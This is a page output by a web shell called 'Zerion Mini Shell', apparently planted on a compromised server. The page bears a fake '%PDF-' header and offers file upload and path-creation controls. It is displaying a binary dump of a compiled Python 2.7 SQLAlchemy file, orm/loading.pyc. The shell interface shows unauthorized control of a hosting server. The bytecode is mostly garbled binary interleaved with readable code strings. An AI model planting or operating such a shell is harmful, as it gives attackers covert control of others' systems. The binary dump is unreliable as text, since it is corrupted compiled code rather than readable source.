%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyc

�
��4]c@@s�dZddlmZddlZddlmZddlmZddlmZddlm	Z	dd	l
mZdd
l
mZddl
mZddl
mZd
dlmZd
dlm
Z
d
dlm
Ze
j�Zd�Ze
jd�ed��Zd�Zeeed�Zeeeed�Zeeed�Zeeeed�Zd�Zd�Z d�Z!d�Z"d�Z#de$fd��YZ%d�Z&dS(s�private module containing functions used to convert database
rows into object instances and associated state.

the functions here are called primarily by Query, Mapper,
as well as some of the attribute loading strategies.

i(tabsolute_importNi(t
attributes(texc(t
path_registry(tstrategy_options(t_DEFER_FOR_STATE(t_SET_DEFERRED_EXPIRED(t	_none_set(t	state_stri(tutilc#@s#t�|_i|_�j}�joJt�j�dkoJ�jdj}|rt|rbt}qt�fd�}ny~t	t
g�jD]}|j�||�^q���\}}|s�tj
d|�}	nxtr�i|_�jr	|j�j�}
|
sPqn|j�}
|rG|d}g|
D]}||�^q,}
n8g|
D]+}|	g|D]}||�^q^�^qN}
x-|jj�D]\}}|j||�q�W|r�tj|
|�}
nx|
D]}|Vq�W�js�Pq�q�WWn*tk
r}|j�tj|�nXdS(s$Return an ORM result as an iterator.iic@s td�t�j|�D��S(Ncs@s0|]&\}}|jr$t|�n|VqdS(N(tuse_id_for_hashtid(t.0tenttitem((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pys	<genexpr>8s(ttupletzipt	_entities(trow(tquery(sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyt	filter_fn6stresultN(t
_new_runidtrunidtpost_load_pathst_has_mapper_entitiest_only_return_tuplestlenRtsupports_single_entityRtlistRt
row_processorR	tlightweight_named_tupletTruetpartialst
_yield_pert	fetchmanytfetchalltitemstinvoketunique_listt	Exceptiontclosetraise_from_cause(Rtcursortcontexttfilteredt
single_entityRtquery_entitytprocesstlabelstkeyed_tupletfetchtprocRtrowstpatht	post_loadterr((RsI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyt	instances#sP		
	4			
"5
		
ssqlalchemy.orm.querycC@s�|j}|r|j�n|j}z�t|_t|j�dk}|r�t|jd|j�r�g|D]<}|jt	j
|�t	j|�d|didi�^ql}q�t|�}ngt
|j�D]$\}	}
t|
|j�r�|	^q�}g}g|jD]}|j^q
}
tjd|
�}x�|D]�}t|�}xc|D][}	||	dk	rQ|jt	j
||	�t	j||	�d|didi�||	<qQqQW|j||��q8Wt|�SWd||_XdS(s:Merge a result into this :class:`.Query` object's Session.iitloadt
_recursivet_resolve_conflict_mapRN(tsessiont
_autoflusht	autoflushtFalseRRt
isinstancet
_MapperEntityt_mergeRtinstance_statet
instance_dictRt	enumeratet_label_nameR	RtNonetappendtiter(tquerylibRtiteratorR:R=R?R.tinstanceRtitetmapped_entitiesR
tkeysR2Rtnewrow((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pytmerge_resultls>	
		I

cC@s�|jj|�}|dk	r�tj|�}|jr�|tj@sJtjS|tj@s[|Sy|j	||�Wq�t
jk
r�|j|g�dSXn|SdSdS(sqLook up the given key in the given session's identity map,
    check the object for expired state if found.

    N(
tidentity_maptgetRHRRDtexpiredtSQL_OKtPASSIVE_NO_RESULTtRELATED_OBJECT_OKt
_load_expiredtorm_exctObjectDeletedErrort_remove_newly_deleted(R=tkeytpassiveRMtstate((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pytget_from_identity�s	

cC@sR|dk	r#|d}|d}n
d}}t||d|d|d|d|�S(s.Load the given identity key from the database.iit
refresh_statetwith_for_updatetonly_load_propstidentity_tokenN(RHtload_on_pk_identity(RR^RbRcRdtidentRe((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyt
load_on_ident�s


cC@s�|dkr%|j�}|j�n|j�}|dk	r%|j�}|j\}}	d|kr�tgt|j|�D]%\}
}|dkrz|	|
j^qz�}t	j
||�}n|j|tt
�}||_tgt||j�D]\}
}|	|j|
f^q��}||_n|dk	rCt}||_n*|jdk	rgt}|j|_nt
}|jdt|�d|d|d|d|�d|_y|j�SWntjk
r�dSXdS(s6Load the given primary key identity from the database.tpopulate_existingt
version_checkRdRbReN(RHt_clonet_get_conditiont_mapper_zerot_get_clausetsetRtprimary_keyR^tsql_utiltadapt_criterion_to_nullt
_adapt_clauseR R@t
_criteriontdictt_paramst_for_update_argt_get_optionstboolt	_order_bytoneR[t
NoResultFound(Rtprimary_key_identityRbRcRdRetqtmapperRnt_get_paramstcoltvaluetnonestid_valRptparamsRj((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyRf�sN
"	5		c	
K@s�|r|j|�}
n	|j}
i}|j|jd|�xT|
D]L}|re|j|kreqDn|j||||d|d|d||	�qDW|dk	r�||jk	r�|r�|j|}
n|}
|j	|
�ndS(Ntmemoized_setupsRdtcolumn_collectiontmemoized_populators(
t_iterate_polymorphic_propertiest_polymorphic_propertiesRoRR^tsetupRHtpolymorphic_ontcolumnsRI(R,RR/R6tadapterR�twith_polymorphicRdtpolymorphic_discriminatortkwtpoly_propertiestquick_populatorsR�tpd((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyt_setup_entity_querys0
	
c	@s��
j�
�r2g�
D]}	�j|	^q�
n�
j�tjt���
j}
�d
k	r�|
j�
fd��D��}
n|j	�j
dt�}x/|
D]'}||kr�||}
|
tkr��dj
|j|jf�q�|
tkr�dj
|jtf�q�d
}�rN�j|
}|d
k	rN|j|t�}qNn|si|j|
t�}n|r��dj
|j|f�q�|j�|�
|���q�|j�|�
|���q�W�j��jjjr��jj|n|��jj��jp�
j�t�
jjj��t�
jjj ��t�jjj!���rn�jjj!�	nt
j"�t
j#��jj$��j%��j&��j'��r�|d
k	r�d|jf}|�j
kr�j
|j(dt)ffkr�
j*�j
|j+d|�}n�
j*d
|�}|r�||k	r��d
ksPt,�t-�||�}t.j/��|j0|||�q�nt.j1������r��j��d
kr��
j2���q�nd
��
j3r�tj4�n	tj�����������	�
���
�����������fd	�}�
j5r|r�rt6|��
|||��}n|S(s`Produce a mapper level row processor callable
       which processes rows into mapped instances.c3@s|]}�j|VqdS(N(t_props(Rtk(R(sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pys	<genexpr>psR�tnewtexpiretquicktloadertselectinload_polymorphictentitiesc
@s7�rB�}|j�}�|�}|j�k}t}t}n�tg�
D]}||^qO��f}�j|�}|dk	r��|�}�|�}|j�k}|}t}�r^|r^t�
|||��q^nx�|d�r�dSt}t}t}�
jj	�}�|�}�|�}||_
�|_�|_�j
||�|sj�r�|r��s}�r��|_�|_nt�||||�|���	|rg|r�r�|jjj|��n�r#�	�j|j��q#n"�r#|jjj|���n�s2|jrg�rQ�rQ|j|��qd|j|��qgn�r3�j|t�q3n�|j}	|�jk}|s�|	s��drt�||||�|	��}
|r�r�|jjj|�|
�n|j||
�qn�r3�jr3�j|t�n|S(Niteager(tobjRR R@RRURHt_validate_version_idt
class_managertnew_instanceR^Ret
session_idt_add_unpresenttload_optionst	load_patht_populate_fulltmanagertdispatchR:R=trefreshtmodifiedt_committ_commit_allt	add_statetunloadedR!t_populate_partialtinvoke_all_eagers(RR`RMtdict_tisnewtcurrentloadtloaded_instancetcolumntidentitykeyR�tto_load(R�R,tidentity_classReRERDtis_not_primary_keytload_evtR�tloaded_as_persistentRRdtpersistent_evttpk_colsRit
populatorsR7tpropagate_optionstrefresh_evttrefresh_identity_keyRbRR�tsession_identity_mapRj(sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyt	_instance�s�	 	
						N(7RpR�t_identity_classtcollectionstdefaultdictRt	_prop_setRHtintersectionRURRRRIR^t_deferred_column_loaderRR@t_gettertcreate_row_processorR�Rt
_current_pathR6R=RTRitalways_refreshRyR�R�R:R�R�RDREthash_keyRjRRetstrategyR t_should_selectin_loadt
local_optstAssertionErrort_load_subclass_via_intPostLoadtcallable_for_pathRtfor_contextt_identity_key_from_statetallow_partial_pkst
issupersettpolymorphic_mapt_decorate_polymorphic_switch(RR,RR6R�RdRbR�t_polymorphic_fromtctpropsR�tpropR�tgettertadapted_colR^tselectin_load_viat	callable_R�((R�R,R�ReRERDR�R�R�R�RRdR�R�RiR�R7R�R�R�RbRR�R�RjsI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyt_instance_processorQs�	#		"



						
			W�c@ss|j}t|jj�dk�|jrE|j|�\���n|j\�������fd�}|S(Nic	@s�|j}�j�f|j�f|jd|�}|jrQ|jd��n||j�jdg|D]0\}}�r�|jddn
|jd^qj�j	�dS(Nt
cache_pathcS@s
|j�S(N(Ri(R~((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyt<lambda>�ttprimary_keysii(
Rt_with_lazyload_optionst
_with_optionstparentt_populate_existingtadd_criteriaR=R�R^tall(	R,R6tstatest	load_onlyteffective_entityt
orig_querytq2R`t
load_attrs(tdisable_optt
enable_optR~tzero_idx(sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pytdo_load�s				(RRtbase_mapperRptis_aliased_classt_subclass_load_via_int_subclass_load_via_in_mapper(R,R6tentityRR�((R�R�R~R�sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyR��s		c	
C@s�|r|j|_x(|dD]\}	}
|
|�||	<qW|r�xx|dD]5\}	}|j|	d�|rN|jj|	�qNqNWn4x1|dD]%\}	}|r�|jj|	�q�q�Wx(|dD]\}	}||||�q�Wx�|dD]\}	}||||�q�Wn�||jkr�||_x7|dD]+\}	}
|	|kr:|
|�||	<q:q:WxV|dD]\}	}||||�qtWn+x(|dD]\}	}||||�q�WdS(NR�R�R�tdelayedtexisting(RtpopRHtexpired_attributestaddR�(
R,RR`R�R�R�R�RiR�R^R�tset_callablet	populator((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyR��s2	c
C@s�|sP|j|}xN|dD]+\}	}
|	|kr|
|||�qqWn|}||j|<x7|dD]+\}	}|	|krn||�||	<qnqnWxP|dD]D\}	}|	|kr�|j|	d�|r�|jj|	�q�q�q�Wx7|dD]+\}	}
|	|kr�|
|||�q�q�Wx7|dD]+\}	}
|	|kr5|
|||�q5q5Wx7|dD]+\}	}
|	|kro|
|||�qoqoW|S(NRR�R�R�R�R�(R!RRHRR(
R,RR`R�R�R�R�R�R�R^RR�R((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyR��s2

cC@s�|j}|dkrdS|r/|j|}n|j|||j�||kr�tjdt|�|j|||j�||f��ndS(NsWInstance '%s' has version id '%s' which does not match database-loaded version id '%s'.(tversion_id_colRHR�t_get_state_attr_by_columnR[tStaleDataErrorR(RR`R�RR�R((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyR�s	
	c	@s�|dk	r|�n	�j��dkr.�S�rD�j��n�����fd�}tj|�����fd�}|S(Nc@sey�j|}Wn!tk
r4td|��n-X|�krEdSt|����d��SdS(Ns*No such polymorphic_identity %r is definedR�(R�tKeyErrorR�RHR�(t
discriminatort
sub_mapper(R�R,RR6R(sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pytconfigure_subclass_mapper.s
c@s=|�}|dk	r3�|}|r3||�Sn�|�S(N(RH(RR
R�(tinstance_fntpolymorphic_instancesR�(sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pytpolymorphic_instanceDs


(RHR�R�R	tPopulateDict(	R
R,RRR6R�R�RR((R�R,R
RR6RR�RsI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyR�s			R�cB@s\eZdZd
Zd�Zd�Zd�Zed��Zed��Z	ed	��Z
RS(s:Track loaders and states for "post load" operations.

    tloadersR�t	load_keyscC@s%i|_tj�|_d|_dS(N(RR	tOrderedDictR�RHR(tself((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyt__init__Vs	cC@s||j|<dS(N(R�(RR`t	overwrite((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyR�[scC@s�|js
dStjj|�}x�|jj�D]}\}}}}}g|jj�D]-\}}	|jjj	|�rT||	f^qT}
|
r/||||
|j
||�q/q/W|jj�dS(N(R�RtPathRegistrytcoerceRtvaluesR%R�RtisaRtclear(RR,R6ttokentlimit_to_mapperR�targR�R`RR�((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyR&bs	%'#cC@s7|jj|j�}|dk	r3|r3||_n|S(N(RRUR6RHR(tclsR,R6Rdtpl((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyR�pscC@s)|j|jko(||j|jjkS(N(R6RR(RR,R6R^((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pytpath_existswsc	O@s\|j|jkr%|j|j}nt�}|j|j<|||||f|j|<dS(N(R6RR�R(	RR,R6RRtloader_callableRR�R ((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyR�~s(RR�R(t__name__t
__module__t__doc__t	__slots__RR�R&tclassmethodR�R!R�(((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyR�Os			c
C@s�|j}|s+tjdt|���nt|j�}t}|ra|j|jj	��}n|j
r�|jr�|j||�}|dk	r�t|j|�jtj|�jd��j|�dd|d|�}q�n|tkr�|r�|j}ncg|jD]}|j|j^q}	|jj|	�rRtjdt|���n|j|�}tj|�rz|js�tj|�r�tj dt|��dSt|j|�|d|d|�}n|r�|dkr�tj!|��ndS(s4initiate a column-based attribute refresh operation.sQInstance %s is not bound to a Session; attribute refresh operation cannot proceedt*RdRbs_Instance %s cannot be refreshed - it's not  persistent and does not contain a full primary key.swInstance %s to be refreshed doesn't contain a full primary key - can't be refreshed (and shouldn't be expired, either).N("R=R[tDetachedInstanceErrorRRyR^R@R�tattrsRQtinheritstconcretet_optimized_get_statementRHRhRtoptionsRtLoadtundefertfrom_statementRpt_columntopropertyRtsa_exctInvalidRequestErrorR�RtissubsetR�R�R	twarn_limitedR\(
RR`tattribute_namesR=thas_keyRt	statementtidentity_keyR�tpk_attrs((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pytload_scalar_attributes�sR	&
('R%t
__future__RR�R�RRR[RRtbaseRRR	RRR3tsqlRqtcounterRR9tdependenciesR RSRaRHRhRfR�R�R�R�R�R�R�tobjectR�R<(((sI/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/orm/loading.pyt<module>sL	I5	L/�,	 	9	"		4:

Zerion Mini Shell 1.0